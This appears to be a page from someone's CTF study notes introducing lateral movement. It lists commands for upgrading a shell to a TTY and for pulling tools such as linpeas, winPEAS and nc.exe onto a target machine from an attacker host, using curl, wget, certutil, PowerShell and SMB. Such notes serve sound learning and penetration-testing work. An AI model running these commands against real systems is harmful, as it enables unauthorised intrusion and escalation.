> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/lateral-movement-introduction.md). # Lateral Movement - Introduction The adversary is trying to move through your environment. {% hint style="info" %} Please note that this site is a continuous **work-in-progress!** {% endhint %} **Lateral Movement** consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ## Upgrade shell to TTY shell ```bash python3 -c 'import pty;pty.spawn("/bin/bash")' CTRL + Z # backgrounds session stty raw -echo ; fg ; reset # brings session back to the foreground export SHELL=/bin/bash export TERM=xterm-256color stty rows 200 columns 200 ``` ## Downloading files to target machine ### Download via HTTP #### OS independent ```bash curl http://192.168.45.167/winPEASany.exe -o winPEASany.exe ``` #### Linux target machine ```bash wget http://192.168.50.154:8000/linpeas.sh -O linpeas.sh ``` #### Windows target machine ```bat certutil -urlcache -split -f http://192.168.48.3/nc.exe nc.exe ``` ```powershell iwr http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe ``` ### Download via SMB #### Windows target machine ```bat copy \\192.168.48.3\kali\winPEASany.exe winPEASany.exe ``` ## Resources certutil - Microsoft Learn: curl - Linux manual page: Lateral Movement (TA0008) - Mitre ATT\&CK: wget - Linux manual page: